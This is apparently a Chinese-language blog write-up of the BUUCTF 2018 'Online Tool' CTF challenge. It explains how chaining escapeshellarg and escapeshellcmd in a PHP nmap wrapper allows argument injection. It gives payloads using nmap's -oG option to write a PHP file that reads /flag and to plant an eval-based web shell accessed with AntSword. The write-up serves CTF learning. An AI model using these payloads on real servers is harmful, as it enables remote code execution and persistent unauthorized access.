[BUUCTF 2018]Online Tool

baozongwi Lv5

就这一个题干就完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

虽然代码看着少,但是别说知识点还挺多

1
2
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

这两个看看官方文档(虽然已经见过很多次)

1

搞个demo

1
2
3
4
5
6
7
<?php
$s="ls";
$a=escapeshellarg($s);
echo $a;

//'ls'
?>

2

1
2
3
4
5
6
7
<?php
$s='system("ls /")';
$a=escapeshellcmd($s);
echo $a;

//system^(^"ls /^"^)
?>

那么两层搞一起怎么绕过呢,继续尝试

1
2
3
4
5
6
7
<?php
$s=$_GET['s'];
$a=escapeshellarg($s);
echo $a."\n";
$a=escapeshellcmd($a);
echo $a;
?>

此时如果我们输入

1
2
3
4
5
6
7
8
9
10
192.168.125.111' -v -d a=1
经过escapeshellarg,第一步先把单引号转义了
192.168.125.111\' -v -d a=1
第二步把两端用单引号括起来
'192.168.125.111'\'' -v -d a=1'
经过escapeshellcmd,发现有不配对的单引号以及反斜杠,直接再次转义,在反斜杠前面加个反斜杠,还有最后面的引号加一个反斜杠
'192.168.125.111'\\'' -v -d a=1\'
最后nmap的命令和curl在这里执行效果相同就是相当于执行的是
curl '192.168.125.111'\\'' -v -d a=1\'
curl 192.168.125.111\ -v -d a=1'

3

那么现在的结构拆开看就是

1
2
3
4
5
'192.168.125.111'
\\
''
-v -d a=1
\'

也就是说成功绕过了

nmap有一个参数-oG可以实现将命令和结果写到文件;

1
2
3
4
5
?host=' <?php echo `cat /flag`;?> -oG test.php '

'\'\'' <?php echo `cat /flag`;?> -oG test.php \'\'''

'\\'\\'' \<\?php echo \`cat /flag\`\;\?\> -oG test.php \\'\\'''

为什么要加空格呢,自己可以尝试一下

1
2
''\\''\<\?php echo \`cat /flag\`\;\?\> -oG test.php'\\'''
没有绕过成功

访问

1
http://82cc99ec-83bd-4dd1-bced-48ec6c3f6ef7.node5.buuoj.cn:81/2abb2bb2253904d76af61419624c9ab9/test.php

拿到flag

那么当然也是可以getshell

1
2
3
4
?host=' <?php @eval($_POST[a]);?> -oG shell.php '
antsword链接即可
url:http://c40b5cbb-5223-4b8b-98b9-5ccc6a409430.node5.buuoj.cn:81/2abb2bb2253904d76af61419624c9ab9/shell.php
password:a
  • Title: [BUUCTF 2018]Online Tool
  • Author: baozongwi
  • Created at : 2024-08-20 10:19:45
  • Updated at : 2024-10-04 15:31:48
  • Link: https://baozongwi.xyz/2024/08/20/BUUCTF-2018-Online-Tool/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
[BUUCTF 2018]Online Tool